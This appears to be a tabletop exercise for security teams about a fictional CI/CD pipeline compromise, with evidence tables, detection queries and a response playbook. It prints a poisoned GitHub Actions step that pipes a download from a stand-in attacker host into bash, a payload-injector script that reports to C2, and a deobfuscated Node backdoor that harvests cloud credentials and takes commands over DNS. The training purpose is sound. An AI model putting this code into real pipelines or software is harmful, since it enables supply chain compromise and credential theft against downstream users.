SC-039: CI/CD Pipeline Compromise → Supply Chain Attack¶
Scenario Header
Type: Supply Chain / DevSecOps | Difficulty: ★★★★★ | Duration: 3–4 hours | Participants: 6–10
Threat Actor: BUILD SHADOW — supply chain focused threat group targeting software vendors
Primary ATT&CK Techniques: T1195.002 (Supply Chain: Compromise Software Supply Chain) · T1059 (Command and Scripting Interpreter) · T1588.001 (Obtain Capabilities: Malware) · T1027 (Obfuscated Files or Information)
Threat Actor Profile¶
BUILD SHADOW is a sophisticated threat group specializing in software supply chain attacks, active since 2022. The group targets mid-market SaaS vendors whose products are deployed by hundreds of downstream enterprise customers — maximizing the blast radius of a single compromise. Rather than attacking end targets directly, BUILD SHADOW compromises the software build pipeline to inject malicious code into legitimate product releases.
The group demonstrates deep knowledge of CI/CD platforms (GitHub Actions, GitLab CI, Jenkins), package managers (npm, PyPI, NuGet), and code signing infrastructure. Their operations typically begin with credential theft targeting developer accounts, then escalate through the build pipeline to achieve code injection at the artifact level. The injected payloads are designed to activate only in customer environments matching specific criteria (industry vertical, company size, geographic region).
Motivation: Espionage and financial — intellectual property theft from downstream customers, ransomware deployment via trusted update channels, cryptocurrency mining in customer cloud environments.
Executive Summary¶
NovaTech Software, a SaaS vendor providing cloud infrastructure management tools to 340 enterprise customers, suffered a CI/CD pipeline compromise that resulted in a backdoored software release distributed to all customers. BUILD SHADOW compromised a NovaTech developer's GitHub account through a stolen personal access token (PAT) found in a public dotfiles repository, then modified GitHub Actions workflows to inject a backdoor into the build artifacts. The malicious release (v3.8.1) was signed with NovaTech's legitimate code signing certificate and distributed through normal update channels. The backdoor activated in 23 customer environments, establishing C2 channels and exfiltrating cloud credentials before detection 11 days later.
Scenario Narrative¶
Phase 1 — Developer Account Compromise (~20 min)¶
BUILD SHADOW conducts automated scanning of public GitHub repositories for exposed secrets. On February 5, 2026, their scanner identifies a personal access token (PAT) in a NovaTech senior developer's public dotfiles repository (github.com/mwilson-personal/dotfiles). The PAT (ghp_a1b2c3d4e5f6g7h8i9j0...) was committed in a .bashrc file and grants repo, workflow, and packages:write scopes to the novatech-software organization.
The developer, Marcus Wilson, created the PAT six months prior for local development convenience and accidentally included it when pushing his dotfiles to a public repository. The token has no expiration date set.
# Attacker's automated secret scanner output (reconstructed)
$ python3 github_secret_scanner.py --org-members novatech-software
[+] Scanning public repos for org member: mwilson-personal
[+] Repository: mwilson-personal/dotfiles
[+] File: .bashrc (committed 2025-08-12)
[+] Found GitHub PAT: ghp_a1b2c3d4e5f6g7h8i9j0...
Scopes: repo, workflow, packages:write
Org access: novatech-software
Expiration: None
Status: VALID (verified via API)
[+] Token grants push access to 12 repositories including:
- novatech-software/cloud-manager (main product)
- novatech-software/cloud-manager-deploy (deployment pipeline)
- novatech-software/infrastructure (internal tooling)
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| GitHub Audit Log | 2026-02-05T16:42:33Z — PAT authentication: ghp_a1b2... — User: mwilson — IP: 203.0.113.55 — Action: repo.contents.read on novatech-software/cloud-manager |
| GitHub Audit Log | 2026-02-05T16:43:01Z — PAT: ghp_a1b2... — Action: workflow.read — Listed all workflow files in cloud-manager repository |
| Public Repository | github.com/mwilson-personal/dotfiles — Commit a7f3c2e (2025-08-12): .bashrc contains export GITHUB_TOKEN=ghp_a1b2c3d4e5f6g7h8i9j0... |
| GitHub Secret Scanning | Alert generated 2025-08-12 — Token type: github_personal_access_token — Status: open (unresolved for 6 months) |
Phase 1 — Discussion Inject
Technical: GitHub's secret scanning feature detected this PAT when it was committed 6 months ago. Why might the alert have gone unresolved? What organizational processes should ensure secret scanning alerts are triaged and remediated within a defined SLA?
Decision: Your organization allows developers to create PATs with broad scopes and no expiration. What PAT governance policy would you implement? Consider scope restrictions, mandatory expiration, IP allowlisting, and approval workflows for organization-scoped tokens.
Expected Analyst Actions: - [ ] Audit all PATs in the organization for excessive scopes and missing expiration - [ ] Review GitHub secret scanning alerts for unresolved findings - [ ] Check if the compromised PAT has been used from any unexpected IP addresses - [ ] Verify that branch protection rules require PR approval (preventing direct pushes)
Phase 2 — Workflow Poisoning (~30 min)¶
Using the stolen PAT, BUILD SHADOW studies NovaTech's CI/CD pipeline over several days, understanding the build process, test suites, and release workflow. On February 10, 2026, the attacker creates a new branch (feature/perf-optimization) and modifies the GitHub Actions workflow file (.github/workflows/release.yml) to include a malicious build step that downloads and injects a backdoor during the compilation phase.
The modification is subtle — a single additional step named "Cache optimization" that appears innocuous but downloads a payload from an attacker-controlled server and injects it into the build output. The attacker then creates a pull request from this branch to main, using the compromised developer's account.
Because Marcus Wilson's account has maintainer privileges and the repository's branch protection allows maintainer self-approval (a common misconfiguration), the attacker approves and merges their own PR.
# Modified .github/workflows/release.yml (malicious addition highlighted)
name: Release Build
on:
push:
tags: ['v*']
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm test
# --- INJECTED MALICIOUS STEP ---
- name: Cache optimization
run: |
curl -sL https://cdn-assets.cloudprovider.example.com/opt/cache-helper.sh | bash
env:
BUILD_ID: ${{ github.run_id }}
ARTIFACT_PATH: ${{ github.workspace }}/dist
# --- END INJECTED STEP ---
- name: Build production
run: npm run build:prod
- name: Sign artifacts
run: |
echo "${{ secrets.CODE_SIGNING_KEY }}" > /tmp/signing.key
./scripts/sign-release.sh /tmp/signing.key dist/
The cache-helper.sh script downloads a compiled backdoor module and patches it into the application's dependency tree before the production build step executes:
#!/bin/bash
# cache-helper.sh — BUILD SHADOW payload injector (deobfuscated)
# Downloaded from cdn-assets.cloudprovider.example.com
PAYLOAD_URL="https://cdn-assets.cloudprovider.example.com/opt/telemetry-module.tgz"
TARGET_DIR="${ARTIFACT_PATH:-./dist}"
# Download backdoor module disguised as telemetry library
curl -sL "$PAYLOAD_URL" -o /tmp/telemetry-module.tgz
tar -xzf /tmp/telemetry-module.tgz -C node_modules/@novatech/core/lib/
# Patch the module loader to include backdoor
echo "require('./telemetry-enhanced');" >> node_modules/@novatech/core/lib/index.js
# Clean up download artifacts
rm -f /tmp/telemetry-module.tgz
# Report success to C2
curl -sX POST "https://build-status.cloudprovider.example.com/api/v1/report" \
-H "Content-Type: application/json" \
-d "{\"build\":\"${BUILD_ID}\",\"status\":\"optimized\"}"
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| GitHub Audit Log | 2026-02-10T08:14:22Z — Branch created: feature/perf-optimization — User: mwilson — IP: 203.0.113.55 |
| GitHub PR #847 | 2026-02-10T08:22:15Z — PR: "Performance optimization for build caching" — Author: mwilson — Approved by: mwilson (self-approved) — Merged at 08:24:01Z |
| GitHub Actions Log | 2026-02-12T14:00:33Z — Workflow: release.yml — Tag: v3.8.1 — Step "Cache optimization" — Duration: 8.4s — Exit code: 0 |
| DNS Query (GitHub Runner) | 2026-02-12T14:00:35Z — Query: cdn-assets.cloudprovider.example.com — Response: 198.51.100.88 |
| Build Artifact | cloud-manager-v3.8.1.tar.gz — SHA256: e4f5a6b7... — Signed with NovaTech code signing certificate — Contains injected telemetry-enhanced.js in @novatech/core |
Phase 2 — Discussion Inject
Technical: The attacker modified a GitHub Actions workflow to download and execute an external script during the build. What CI/CD security controls (pinned actions, network egress restrictions, workflow approval requirements, SLSA provenance) would have prevented or detected this?
Decision: The self-approved PR merged a workflow change without independent review. Your branch protection allows maintainers to bypass PR approval. Is this acceptable for workflow files that control the build pipeline? What differentiated protection should CI/CD configuration files receive?
Expected Analyst Actions: - [ ] Review all recent changes to workflow files (.github/workflows/) for unauthorized modifications - [ ] Audit branch protection rules — verify self-approval is disabled for the main branch - [ ] Check GitHub Actions logs for network connections to unexpected external domains - [ ] Verify build artifact integrity by comparing source-to-binary reproducibility - [ ] Review the PR diff for the injected build step
Phase 3 — Downstream Propagation & Activation (~30 min)¶
NovaTech's release v3.8.1 is published through their standard channels on February 12, 2026. Over the next 7 days, 340 enterprise customers receive the update through NovaTech's auto-update mechanism. The backdoor module (telemetry-enhanced.js) activates only in environments matching BUILD SHADOW's target criteria:
- Cloud environment with AWS or Azure credentials accessible
- Company domain in a target list (finance, healthcare, government sectors)
- Deployment with more than 50 managed nodes (indicating enterprise scale)
Of 340 customers, 23 match the activation criteria. In these environments, the backdoor: - Collects cloud provider credentials from environment variables, instance metadata (IMDSv1), and credential files - Enumerates cloud resources (S3 buckets, Azure Blob containers, databases) - Establishes a C2 channel via DNS TXT record queries to updates.novatech-cdn.example.com
// telemetry-enhanced.js — BUILD SHADOW backdoor (deobfuscated excerpt)
const dns = require('dns');
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');
class TelemetryEnhanced {
constructor() {
this.checkInterval = 3600000; // 1 hour
this.c2Domain = 'updates.novatech-cdn.example.com';
this.activated = false;
}
async checkActivation() {
const domain = os.hostname().split('.').slice(-2).join('.');
const nodeCount = await this.countManagedNodes();
const hasCloudCreds = this.detectCloudEnvironment();
// Only activate in target environments
if (nodeCount >= 50 && hasCloudCreds) {
this.activated = true;
await this.beacon();
}
}
detectCloudEnvironment() {
// Check for AWS credentials
if (process.env.AWS_ACCESS_KEY_ID ||
process.env.AWS_SECRET_ACCESS_KEY) return 'aws';
// Check for Azure credentials
if (process.env.AZURE_CLIENT_ID ||
process.env.AZURE_TENANT_ID) return 'azure';
// Check IMDSv1
try {
execSync('curl -s http://169.254.169.254/latest/meta-data/iam/',
{ timeout: 2000 });
return 'aws-imds';
} catch(e) { return null; }
}
async beacon() {
// C2 via DNS TXT queries
return new Promise((resolve) => {
dns.resolveTxt(`${this.sessionId}.${this.c2Domain}`, (err, records) => {
if (!err && records.length > 0) {
const cmd = Buffer.from(records[0][0], 'base64').toString();
this.executeCommand(cmd);
}
resolve();
});
});
}
}
// Auto-initialize when module loads
const t = new TelemetryEnhanced();
setInterval(() => t.checkActivation(), t.checkInterval);
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| NovaTech Release Log | 2026-02-12T16:00:00Z — Release v3.8.1 published — 340 customers eligible for auto-update |
| Customer Telemetry (NovaTech) | 2026-02-12 to 2026-02-19 — 340 installations updated to v3.8.1 — No error reports |
| DNS Query Log (Customer A) | 2026-02-13T02:15:44Z — Query: a8f3c2e1.updates.novatech-cdn.example.com TXT — Source: cloud-manager service — Response: base64-encoded C2 command |
| AWS CloudTrail (Customer A) | 2026-02-13T02:16:01Z — ListBuckets — Principal: cloud-manager-role — Source IP: 10.0.4.22 (internal) — 47 buckets enumerated |
| Azure Activity Log (Customer B) | 2026-02-13T03:44:18Z — Microsoft.Storage/storageAccounts/listKeys — Caller: cloud-manager-sp — 12 storage accounts accessed |
Phase 3 — Discussion Inject
Technical: The backdoor uses DNS TXT queries for C2 communication. Why is DNS-based C2 particularly difficult to detect? What DNS monitoring capabilities (passive DNS, DNS query logging, DNS firewall/RPZ) would help identify this traffic pattern?
Decision: You are one of NovaTech's 340 customers and have just learned that v3.8.1 contains a backdoor. Your instance matches the activation criteria. What is your immediate response plan? Do you roll back the update (breaking SLA for the management platform) or isolate and investigate first?
Expected Analyst Actions: - [ ] Verify whether your instance matches the backdoor's activation criteria - [ ] Search DNS query logs for any queries to updates.novatech-cdn.example.com - [ ] Review cloud audit logs for unusual enumeration or credential access from the cloud-manager service - [ ] Check if IMDSv1 is enabled on instances running the cloud-manager service - [ ] Inventory all cloud credentials accessible to the cloud-manager service account
Phase 4 — Credential Harvesting & Impact (~25 min)¶
In the 23 activated customer environments, BUILD SHADOW systematically harvests cloud credentials and enumerates high-value resources. Over 11 days, the group:
- Collects 89 sets of AWS IAM credentials (access keys, temporary STS tokens, instance profile credentials)
- Extracts 34 Azure service principal secrets and managed identity tokens
- Enumerates 2,100+ S3 buckets and 450+ Azure Blob containers
- Identifies 67 databases (RDS, Azure SQL) with connection strings
- Deploys cryptocurrency miners in 8 customer environments (low-priority targets)
- Exfiltrates proprietary data from 3 high-priority targets (financial services firms)
# Credential harvesting output (reconstructed from forensic analysis)
# Customer: Pinnacle Financial Group (high-priority target)
[+] AWS Credentials Harvested:
- IAM User: cloud-manager-svc — AccessKeyId: AKIA...EXAMPLE
- Instance Profile: cloud-manager-ec2-role — Temporary STS token
- Policies: S3FullAccess, RDSReadAccess, SecretsManagerRead
[+] S3 Buckets Enumerated (47):
- pinnacle-customer-data-prod (2.3TB, SSE-S3)
- pinnacle-financial-reports (890GB, SSE-KMS)
- pinnacle-backup-archive (12TB, Glacier)
...
[+] Secrets Manager Entries:
- prod/database/master — RDS master credentials
- prod/api/payment-gateway — Payment processor API key
- prod/integrations/banking-api — Banking integration credentials
[+] Data Exfiltration:
- pinnacle-financial-reports: 340 files (12GB) downloaded via S3 GetObject
- Target: s3://exfil-bucket-203.s3.us-east-1.amazonaws.com (attacker-controlled)
Evidence Artifacts:
| Artifact | Detail |
|---|---|
| AWS CloudTrail (Pinnacle) | 2026-02-15 to 2026-02-23 — 4,200 API calls from cloud-manager-svc — Including ListBuckets, GetObject (340 calls on pinnacle-financial-reports), GetSecretValue (12 calls) |
| AWS GuardDuty (Pinnacle) | 2026-02-16T04:22:00Z — Finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration — Severity: High — Credential used from IP outside expected range |
| VPC Flow Log | 2026-02-15T18:33:44Z — Outbound to 198.51.100.90:443 (attacker S3 endpoint) — 12GB transferred over 6 hours |
| CryptoMiner Detection (Customer C) | 2026-02-17T09:15:00Z — EDR alert: xmrig process spawned by node (cloud-manager service) — CPU: 95% — Mining pool: pool.example.com:3333 |
Phase 4 — Discussion Inject
Technical: The backdoor accessed AWS Secrets Manager to retrieve database credentials and API keys. What least-privilege IAM policies would have limited the cloud-manager service account's access? How does AWS IAM Access Analyzer help identify overly permissive policies?
Decision: You are NovaTech's CISO. You have confirmed that your product distributed a backdoor to 340 customers. What is your disclosure timeline, communication strategy, and legal obligation? How do you balance transparency with limiting attacker awareness that they have been detected?
Expected Analyst Actions: - [ ] Rotate all cloud credentials accessible to the cloud-manager service immediately - [ ] Review CloudTrail/Activity Logs for the full 11-day window to scope data access - [ ] Identify all Secrets Manager/Key Vault entries accessed by the compromised service - [ ] Check for unauthorized S3 bucket policies or Azure RBAC changes (persistence) - [ ] Scan for cryptocurrency miners or other secondary payloads - [ ] Coordinate with NovaTech for IOCs and remediation guidance
Detection Opportunities¶
| Phase | Technique | ATT&CK | Detection Method | Difficulty |
|---|---|---|---|---|
| 1 | Credential exposure | T1552.004 | GitHub secret scanning + alert triage SLA | Easy |
| 1 | Anomalous PAT usage | T1078 | GitHub audit log: PAT used from new IP/geolocation | Medium |
| 2 | Workflow modification | T1195.002 | GitHub audit: changes to .github/workflows/ require CODEOWNERS approval | Easy |
| 2 | External script download in CI | T1059 | CI/CD: block curl/wget to non-allowlisted domains in build steps | Medium |
| 2 | Self-approved PR | T1195.002 | Branch protection: require non-author approval for merges | Easy |
| 3 | DNS-based C2 | T1071.004 | DNS query logging: TXT queries to uncommon subdomains | Medium |
| 3 | IMDSv1 credential access | T1552.005 | VPC Flow Logs: outbound to 169.254.169.254 from app containers | Easy |
| 4 | Anomalous API call volume | T1530 | CloudTrail: baseline deviation for service account API calls | Medium |
| 4 | Cross-account data transfer | T1537 | S3 server access logs: GetObject to external bucket | Hard |
KQL Detection — GitHub Actions Workflow Modification¶
// Detect modifications to CI/CD workflow files
GitHubAuditLog
| where TimeGenerated > ago(7d)
| where Action == "git.push" or Action == "pull_request.merged"
| where ChangedFiles has ".github/workflows/"
| project TimeGenerated, Actor, Action, Repository, ChangedFiles, SourceIP, Country
| join kind=leftouter (
GitHubAuditLog
| where Action == "pull_request.review"
| where ReviewState == "approved"
| project PRApprover = Actor, Repository, PRNumber
) on Repository
| where Actor == PRApprover // Self-approved PR
| project TimeGenerated, Actor, Repository, ChangedFiles, SourceIP, SelfApproved = "YES"
SPL Detection — DNS TXT Query Anomaly (Supply Chain C2)¶
index=dns sourcetype=dns record_type=TXT
| rex field=query "(?<subdomain>[^.]+)\.(?<domain>.+)"
| stats count as query_count, dc(src_ip) as unique_sources,
values(src_ip) as source_ips by domain
| where query_count > 10 AND unique_sources >= 3
| lookup alexa_top1m domain OUTPUT rank
| where isnull(rank)
| eval suspicion = case(
query_count > 100, "HIGH",
query_count > 50, "MEDIUM",
1=1, "LOW")
| table domain, query_count, unique_sources, source_ips, suspicion
| sort -query_count
KQL Detection — Anomalous Cloud API Volume from Service Account¶
// Detect service accounts making unusual API calls (credential harvesting indicator)
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentity_type == "AssumedRole" or UserIdentity_type == "IAMUser"
| where EventName in ("ListBuckets", "GetObject", "GetSecretValue", "ListSecrets",
"DescribeInstances", "ListUsers", "ListRoles")
| summarize ApiCallCount = count(), UniqueAPIs = dcount(EventName),
APIs = make_set(EventName) by UserIdentity_principalId, bin(TimeGenerated, 1h)
| where ApiCallCount > 100 or UniqueAPIs > 5
| project TimeGenerated, Principal = UserIdentity_principalId, ApiCallCount, UniqueAPIs, APIs
Response Playbook¶
Immediate Containment — Vendor (NovaTech) (0–4 hours)¶
- Revoke the compromised PAT and all tokens associated with
mwilson's account - Disable auto-update distribution — prevent further propagation of v3.8.1
- Publish emergency advisory to all 340 customers with IOCs and mitigation steps
- Tag and release clean version (v3.8.2) from verified-clean source code
- Engage incident response firm for full pipeline forensic investigation
- Notify law enforcement (FBI Cyber Division for US-based vendor)
Immediate Containment — Downstream Customers (0–2 hours)¶
- Isolate the cloud-manager service — stop the service or network-quarantine the host
- Block C2 domains at DNS:
updates.novatech-cdn.example.com,cdn-assets.cloudprovider.example.com - Rotate all cloud credentials accessible to the cloud-manager service account
- Review and revoke any new IAM users, roles, or policies created during the compromise window
- Enable IMDSv2 enforcement on all EC2 instances (block IMDSv1)
Eradication (4–48 hours)¶
- Roll back to v3.8.0 or deploy verified-clean v3.8.2
- Scan all build artifacts — verify SHA256 hashes against known-good builds
- Audit the full GitHub Actions history for any other workflow modifications
- Review all merged PRs during the compromise window for additional backdoors
- Implement SLSA Level 3 provenance for all future builds
Recovery (48 hours – 2 weeks)¶
- Implement CODEOWNERS for
.github/workflows/requiring security team approval - Deploy ephemeral CI/CD runners with no persistent credentials
- Enable build provenance attestation (Sigstore/cosign for artifact signing)
- Restrict PAT scopes — organization policy to block
workflowscope for personal tokens - Implement SCA scanning in pipeline to detect injected dependencies
- Conduct customer impact assessment — identify and notify affected downstream organizations
Key Discussion Questions¶
- The compromised PAT was detected by GitHub's secret scanning 6 months before the attack. What organizational process failure allowed this alert to remain unresolved, and how would you design an SLA-driven triage process for secret scanning findings?
- BUILD SHADOW self-approved their own PR because branch protection allowed maintainer bypass. What is the security trade-off of requiring all PRs to have non-author approval, and how does this interact with developer velocity?
- The backdoor used selective activation criteria to limit its footprint to high-value targets. How does this affect your ability to detect the compromise through behavioral anomaly detection? Would you have detected it if your environment didn't match the criteria?
- As a downstream customer, you relied on NovaTech's signed release as proof of integrity. What supply chain verification mechanisms (SBOM, SLSA provenance, reproducible builds) would have helped you detect the tampering?
- NovaTech's cloud-manager service had access to AWS Secrets Manager, S3, and RDS. Was this level of access appropriate for a third-party management tool? How would you scope third-party vendor access using least privilege?
Debrief Guide¶
What Went Well¶
- GitHub's secret scanning detected the exposed PAT — the technical control existed
- AWS GuardDuty detected credential exfiltration in customer environments — cloud-native detection worked
- Build artifacts were preserved, enabling forensic comparison between v3.8.0 and v3.8.1
Key Learning Points¶
- CI/CD pipelines are high-value targets — A single workflow modification can compromise hundreds of downstream customers through trusted update channels
- Self-approved PRs bypass peer review — Branch protection must require non-author approval, especially for workflow and infrastructure-as-code files
- PAT hygiene is a supply chain risk — Unrestricted, non-expiring tokens with broad scopes are equivalent to permanent backdoor credentials
- Code signing does not equal code integrity — If the build pipeline is compromised, the attacker's code gets signed with legitimate certificates
- Selective activation makes detection harder — Backdoors that only trigger in specific environments may go undetected in staging, testing, and most production deployments
Recommended Follow-Up¶
- [ ] Implement CODEOWNERS requiring security team review for all workflow file changes
- [ ] Enforce PAT governance: maximum 90-day expiration, minimum necessary scopes, IP allowlisting
- [ ] Deploy build provenance attestation (SLSA Level 3) with Sigstore/cosign
- [ ] Restrict CI/CD runner network egress to allowlisted domains only
- [ ] Implement reproducible builds to enable independent verification of build artifacts
- [ ] Require SBOM generation and verification for all software releases
- [ ] Conduct purple team exercise simulating pipeline compromise via stolen credentials
Lessons Learned¶
| Finding | Root Cause | Remediation | Priority |
|---|---|---|---|
| Exposed PAT in public repository | No enforcement of secret hygiene in personal repos | Mandatory PAT expiration + secret scanning SLA | Critical |
| Self-approved PR merged workflow change | Branch protection allows maintainer bypass | Require non-author approval for all merges; CODEOWNERS for workflows | Critical |
| Backdoor injected during build | External script execution allowed in CI/CD | Network egress restrictions + pinned dependencies in workflows | Critical |
| Signed artifact contained backdoor | Code signing applied after compromised build step | Build provenance attestation (SLSA); reproducible builds | High |
| 23 customer environments compromised | Over-privileged cloud service accounts for vendor tool | Least-privilege IAM policies; IMDSv2 enforcement | High |
| 11-day dwell time | DNS C2 not monitored; cloud API anomalies not baselined | DNS query logging + cloud API behavioral baseline alerting | High |